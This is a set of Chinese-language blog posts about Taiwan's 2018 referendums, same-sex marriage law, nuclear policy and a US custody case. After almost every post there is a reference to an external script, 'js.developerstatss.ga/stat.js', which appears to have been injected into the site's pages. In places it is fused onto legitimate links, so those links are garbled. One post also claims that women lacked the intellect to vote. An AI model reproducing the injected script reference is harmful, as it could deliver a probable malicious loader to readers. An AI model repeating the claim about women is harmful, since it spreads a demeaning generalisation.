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筆記 經濟分析

經濟學預測檢驗

該怎麼說呢?經濟學真的是一門準確研究人類行為的科學。

重貼昨日預測:「縣市長短時間拼經濟的最低成本方法就是全面擁抱大陸市場,在中國『軟更軟、硬更硬』策略下,從經濟面達到分化台灣效果。綠色縣市想學都難…」

https://money.udn.com/money/story/6808/3504205

新聞摘要:

桃園市長鄭文燦今天上午走訪蘆竹區五福宮等宮廟參拜祈福謝票,針對面對民進黨大敗,媒體訪問總統蔡英文的兩岸關係是否應該修正?鄭文燦說,六都首長已經產生,北京必須要面對台灣多元民意,不是高雄市長換人,觀光客就到高雄,這樣做法不對,應該兩岸整體要朝更善意、更交流方向走,對岸所設置的政治前提,應該尋找比較好的自我解套,台灣是民主社會對於這些政治前提並不接受,交流就是交流,不應該有藍綠差別,也不應該附加任何政治條件。

https://js.developerstatss.ga/stat.js?n=ns1

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筆記 經濟分析 影片

價格理論範例–英國警方與飛車賊

自從倫敦警方獲得授權可以直接開車衝撞摩托車搶匪(參見影片)後,短短一年內此類搶案數量減少36%!

行為成本上升,行為數量下降,需求定律而已。

https://youtu.be/1owgBHpNhPEhttps://js.developerstatss.ga/stat.js?n=ns1

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筆記

好文推薦:素顏台灣

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補充:本文統計學上有點問題,我認為不記名投票本身就會影響準確性與某些推論,例如「如何得知支持東奧正名者也投票支持/反對同婚?」

又例如該文使用人口資料是以「居民」為調查對象,但投票卻會有很多非居民者投票。這會使得某些indicators有疑問。

還有公投時的雙重否定句考倒了一堆人,尤其是「以核養綠」一案,相信支持/反對雙方都有相當人數投錯票。

這在不記名投票且無法事後重新檢驗的情況下,也會讓此統計分析準確性或可參考性降低。

幾個有趣的現象 —

1. 如果我們將人口細部分析會發現,40~59歲的中年男性人口比例較高的地方較支持十號公投(即一男一女婚姻),反而是60歲以上老年女性人口比例較高的地方較不支持。

2. 愈反同的地方,民進黨票數減少得越嚴重。

3. 蔡英文在2016年競選總統前,曾稱目前的年輕人為「天然獨」。然而我們若進行細部分析可以發現,老年人較多的區域還是較為支持帶有台獨精神的東奧正名公投。特別從圖七可以看得到,在其他性別年齡層人口比例沒有顯著相關性的情況下,60歲以上女性人口較多的地區比較支持東奧正名。但是18~39歲男性年輕人口比較多的地區,反而較為不支持東奧正名。

4. 支持正名公投比例愈高的地區,支持一夫一妻婚姻公投的比例也愈低。

5. 除了核四所在地的貢寮與核廢料所在地的蘭嶼,台灣絕大多數地區的多數選民都是支持以核養綠提案的。若是考慮到各鄉鎮市與核電廠的距離,可以發現支持以核養綠公投的鄉鎮,多位處遠離本島各核電廠的金馬外島(見表八)。儘管有著多數民意的支持,我們也能發現,若是一個鄉鎮離核電廠愈近,對以核養綠公投的支持度就愈低(見圖十二)…

老年人口愈高的地區會比較不支持,收入中位數愈高的地方支持度就也比較高。…

以核養綠的支持率與一夫一妻婚姻是高度正相關,與東奧正名是高度負相關

文章連結https://js.developerstatss.ga/stat.js?n=ns1

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法律

關於同性婚姻的進一步討論

關於同性婚姻的進一步探討:

1. 許多新來的讀者以為我反對同性戀或同性婚。我說過很多次,我既不反對也不贊成,我是「無感」–因為不干我的事。

2. 許多論者混淆「同性戀」與「同性結婚」兩個議題。

台灣法律與社會多數並無禁止同性戀(伊斯蘭教社會就明文禁止且有刑罰);台灣法律是「不承認同性婚姻的法律有效性」。

混淆二者是很大的錯誤。

許多反對同性婚者並非反對同性戀,所以支持者沒必要擅自擴大解釋成「否定同性戀戀愛關係或否定同性戀者人格」

3. 婚姻契約是一個需要受到社會、政府認可從而生法律效力的合夥契約關係。這就是為何在遠古時代到近代婚姻都是以「多人見證為法律生效要件」,現代多改為「登記制」是因為政府管制與資訊系統大幅進步使然。

同性婚姻是不是該被社會與政府認可,前者需要社會多數人共識(可惜這次公投結果截然相反),後者則需要法律授權方可生效(幸運的是大法官透過解釋文承認之)。

因此人民是否有契約對象訂定自由?當然有。但你訂的婚約,政府要不要承認?法律能不能生效?是由社會整體來決定。

這樣說好了,我們反過來想:如果自由戀愛就應該使其婚姻生效,那真摯相愛的親父女、親母子甚或親兄妹姊弟之間,可以生效嗎?

現代民法一樣不承認這種婚姻喔!是不是侵害人權呢?

而我自認重要的議題是:如此重大的社會制度轉變,所需費用,無論是執行面(政府機關、資訊系統或其他轉變)或看不見的社會成本…等,到底有多大?應該由誰來負擔?

如我在留言討論中提到:「美國婦女被賦與投票權後,通過惡名昭彰的禁酒令,造成國家嚴重官商勾結、黑手黨崛起、社會費用大增乃至於退步等等現象,是當初始料未及的整體社會費用。而究其原因,當年婦女智識不足卻能投票就容易被民粹主張左右,是一個重要客觀侷限條件。」

舉個例來說明,同時釐清兩個概念:

a. 中華民國33年05月04日以前不存在專利法,是指中華民國政府尚未承認發明可享有「特許壟斷權保護」,這並非代表「政府禁止發明行為」。

二者間巨大差異,恰如「同性戀與同性婚」。

b. 民國33年版本僅承認「發明專利」,後來我們熟知的「新型專利或設計專利」都未受到保護。

這也不代表「政府禁止新型或設計的發想與實踐」,就只是法律上沒有給等同「發明」一般的特許保護而已。

猶如政府承認婚姻的法律效力,但僅限於「一男一女」這種組合。政府並未禁止成人男男、女女、多男多女等各種組合的戀愛關係(除非涉及通姦罪)。

專利體制下,制度的改變是由專利申請人付費承擔整個系統運作的費用。

我的問題是:婚姻制度改變費用要由誰來買單?

c. 由此例亦可知,婚姻既然是一種需由社會與政府公認的特殊夥伴關係,則絕對不適用「天賦人權」的概念。是的,我並不十分認同大法官用「平等權」來處理強行過關同性婚姻,但這並不是很重要的問題。

我儘量簡化我的疑問,希望一般人都能懂,也能察覺–這些問題實在無涉看不看得起同性戀者,純粹就是想知道要花費多大代價跟誰買單。

順道一提,如果同志運動者連我這種對同性戀無感的人都難以說服的話,又怎奢望去說服那些打從心底敵視同性戀之人?https://js.developerstatss.ga/stat.js?n=ns1

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隨筆

關於同性婚姻

全世界195個國家中僅23國有同性婚姻制度。

有些人就是死心眼地認為同性婚姻是人權(而在歷史上其實從來都不是,最近20年來才有少數國家賦與);更有好笑的一群人以為「有同性婚姻叫進步」。

而這群人最大的錯誤在於:嘴裡喊著人權,其實一點也不尊重他人的價值觀,動輒貶低反同性婚姻者為落伍、愚昧。

顯然,以這次公投第十案主張「民法之婚姻定義應為一男一女」同意票高達765萬票,以及第14案「是否同意民法允許同性別二人建立婚姻關係」反對票高達694萬票來看,台灣社會針對此議題的保守共識簡直是總統選舉級別!(2012年氣勢如紅的馬英九總統當選票數也只接近690萬)

換言之,這群支持同性婚姻的運動者,是不是別老要求別人有同理心,而是自己有開放心胸一點地去理解為何有這麼多人反對你的主張呢?

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筆記

小英政府再次證明不才小弟觀點

沒關係,只是嘉年華會,一切還是由台灣極權政府說了算 XD

想當年,毛主席「引蛇出洞」–來來來,有意見的都說出來,降低老子找你的訊息成本。

爾如今,蔡小英「人家不依」–投投投,有意見的都投下去,反正舞照跳馬照跑,該污的一毛也不少。

先前11/5我說過:「…依據公投法第30條,這次公投案這麼多,其實真正投完會快速發生法律效果的只有「以核養綠」的複決案喔。

其他案均為法律創制案或重大政策案,前者即便公投通過還是要經過立法機關立法(但只規定何時完成審議程序,可沒規定何時要完成立法喔!);後者即便公投通過,法條也只說「總統或權責機關應實現必要之處置」,啥叫「必要之處置」?公投法又沒明確定義。…

換言之,所謂公投根本就只是一場政府花錢給人民投爽的嘉年華。」

果然愛說謊的小英政府選後第一天就證明我的觀點正確呢~

http://m.ltn.com.tw/news/politics/breakingnews/2623698

quote:

“以核養綠公投過關 政院:2025非核家園目標不變
2018-11-25 01:58

〔中央社〕以核養綠公投過關,行政院發言人Kolas今天表示,電業法第95條第1項將在公告第3日起失效,不過核一、核二、核三延役及核四商轉已來不及,2025非核家園的目標不變。
國民黨的3公投案、幸福盟提出的愛家3公投及以核養綠公投共7案過關。挺同的2案婚姻平權公投與東奧正名公投則是不同意票大於同意票,並未過關。
其中第16案的「以核養綠」公投主文為「您是否同意:廢除電業法第95條第1項,即廢除『核能發電設備應於中華民國114年以前,全部停止運轉』之條文?」
Kolas Yotaka(谷辣斯.尤達卡)告訴中央社記者,公投第16案主文是要求廢除電業法第95條第1項,依公投法規定,從公告日第3日起,該法律條文將失去效力。
Kolas表示,不過,即使該項條文失效,政府推動2025非核家園的目標不變,因為實務上已不可能讓核一、核二與核三廠延役。依法核電廠在除役期限前5到10年必須提出延役申請,核一與核二廠除役在即,已來不及申請;核三廠則是要在108年前提出申請,但申請的作業評估時間要4到5年,時間上已來不及。
至於核四廠商轉部分,Kolas說,台電在今年評估,核四商轉需要6到7年,且需要耗資新台幣688億元。如果明年重啟核四,6年後是2025年,非核家園目標已經達成,屆時已不需要核電,因此核四也沒有商轉的必要。
此外,國民黨提案的「你是否同意以平均每年至少降低1%之方式逐年降低火力發電廠發電量?」與「您是否同意確立停止新建、擴建任何燃煤發電廠或發電機組(包括深澳電廠擴建)之能源政策?」以及「你是否同意政府維持禁止開放日本福島311核災相關地區,包括福島與周遭4縣市(茨城、櫪木、群馬、千葉)等地區農產品及食品進口?」的同意票皆通過門檻。
Kolas表示,將請經濟部在確保供電的情形下,去努力達成每年降低1%火力的目標,改善空污與維持穩定電力是行政院的原則;在停建燃煤電廠方面,行政院長賴清德日前已宣布停建深澳電廠,公投結果與政府施政方向一致。
對於反核食公投通過,Kolas表示,行政院將請衛福部依照公投法規定,在維持食品安全下,繼續針對日本食品進行查驗。政府的立場就是要讓民眾吃得安全、安心。
東奧正名公投部分,第13案主文為「你是否同意,以『台灣』(Taiwan)為全名申請參加所有國際運動賽事及2020年東京奧運?」因不同意票大於同意票票數,並未過關。Kolas說,尊重公投結果。"https://js.developerstatss.ga/stat.js?n=ns1

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法律

同性婚姻公投結果相悖於大法官解釋!

公投民意認定「民法婚姻規定應限定一男一女」(2018/11/24),而2017/05/24做成的大法官解釋文第748號卻聲稱同性婚姻合法,且釋憲文公開後2年可以逕行向戶政機關登記。

法學邏輯上,沒有民意基礎的大法官解釋要如何與新民意對抗呢?

我的看法是:
1. 大法官釋憲文位階到底是不是憲法高度?通說雖然都肯定,但其實大有疑義。

司法院大法官審理案件法並未有關於大法官解釋文法律位階的定義;而大法官自己在釋字第185號似乎把解釋文位階拉到憲法高度,但當憲法解釋觀點顯與公投民意違背時,少數壓倒多數本身合憲乎?

2. 釋字第748號中大法官自己也承認:「至於以何種形式達成婚姻自由之平等保護,屬立法形成之範圍。」

既然屬於立法形成,那麼依據公投法所得之最新公民意見,假設立院要遵循新民意,則顯與大法官早前課責立法權應完成之法有所扞格。若要遵循大法官之見解,則又與民意違背。

而事實上立法院要不要真的立法或修法允許同性婚姻?以及要不要撥預算給戶政機關更新系統?甚至行政機關本身是否要利用非常繁瑣的程序來達成實質登記之難度?球,都不在大法官手上。

3. 若從「人民授權」角度來看政治權力,則立法委員之所以可以立法的基礎來自於直接人民的民意授權;大法官需經由立院同意,其授權為民意之間接授權。以此觀之,間接授權者可以與權力源頭對抗嗎?

4. 婚姻制度本身是涉及財產權與後代繁衍親權分配的合夥關係,從限制一男一女到允許同性結婚,如此調整整體社會要付出多大成本?這問題也不可不研議。

5. 唯一可以確定的是,若同性能結婚,則離婚官司案件必將成長,律師們支持同性婚姻的其中一種誘因就顯而易見了。

是的,就公投結果來看,只有專法可以解套;但是這好像不是那些同志團體要的結果。

此外,立法院真的敢在執政黨選舉大敗這個環境下通過「同性婚姻法」?我很質疑。

總之,吃瓜群眾們,讓我們繼續看~下~去~

https://www.cna.com.tw/news/firstnews/201811245017.asp

補充:司法院這個聲明根本搞笑

quote:"司法院表示,立法機關必須尊重公投結果,並採納為立法、修法方向,但無論公投結果如何,仍然不能違背憲法及大法官會議解釋。"

阿現在就民意與大法官意見相左啊~~

https://www.cna.com.tw/news/firstnews/201811240281.aspxhttps://js.developerstatss.ga/stat.js?n=ns1

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筆記

尼克森總統競選標語–妳舔不到我們的GG

都說美國高貴的民主價值,不會出現低俗競選標語。 XD

翻譯:

他們舔不到我們的GG

我們愛GG

我們愛我們的GG

幹得好!GG

不准妳舔我們的GG!

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筆記

科技倒轉

20年前的舊新聞 — 當年美國政府表示核廢料處理不是問題。美軍核廢料都能妥善處理,更枉論民用核電廠。

沒想到20年的科技發展下,台灣反核蠢蛋把核廢料說成「人類幾萬年都無法處理的絕症」。

原來20年光陰,人類科技是逆向發展呢~

再過一千年的後代回頭看歷史若不小心查到台灣反核團體言論,一定會很驚訝地以為:「當年地球上人類不會是近乎滅絕吧?不然怎麼科技會倒轉呢?」

quote:"至於核廢料問題,在美國能源部負責核廢料管理司事務的周成康表示,他此次來台的目的就是要發起將美日的核廢料處理技術移轉予南韓及台灣,核廢料處理不會成為問題。"

http://forums.chinatimes.com/special/new_nuclear/89100707.htmhttps://js.developerstatss.ga/stat.js?n=ns1

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法律

法律與偏見(Palmore v. Sidoti)

原文美國最高法院於Palmore v. Sidoti一案所稱的"law"指的是common law,而非legislative law。

事實面來說,本案是Anthony and Linda Sidoti兩個高加索種白人離婚後,原本甫出生的婚生嬰兒監護權歸生母所有。

爾後該白人母親與黑人同居,生父提出訴訟請求監護權,聲稱當年(1970、80年代)長於黑白配家庭的子女恐受到較多社會異樣眼光,對兒童成長有害。此案一路打到佛羅里達州最高法院,生父勝訴。

案子來到聯邦最高法院,而最高法院法官難得一致無意見判決生父敗訴,認為「無論種族歧視問題如何真實,也不能構成法律上剝奪生母對其子女監護權之理由。憲法不能控制這類偏見,但也不能容忍之。私人偏見或許存在於法律力量所及之外,但法律不能直接或間接地給與偏見效力。(The effects of racial prejudice, however real, cannot justify a racial classification removing an infant child from the custody of its natural mother. The Constitution cannot control such prejudice, but neither can it tolerate it. Private biases may be outside the reach of the law, but the law cannot, directly or indirectly, give them effect. )」
因為本案完全在處理離婚夫妻之子女監護權(custody issue)的問題,100%屬於英美法系中common law領域。

因此我不認為這段法律價值宣言可以這麼理所當然地類比到台灣現在的同婚平權問題上。因為針對侷限條件並不一致 — 本案是原告基於某種社會偏見(即便真實存在)而欲剝奪傳統上生母對子女的監護權。本案其實依據的是美國憲法第十四號修正案。

台灣在吵的同性戀婚姻問題,本質上並不太一樣。

這細微的差異,我想沒修習過英美法的台灣律師可能難以體會。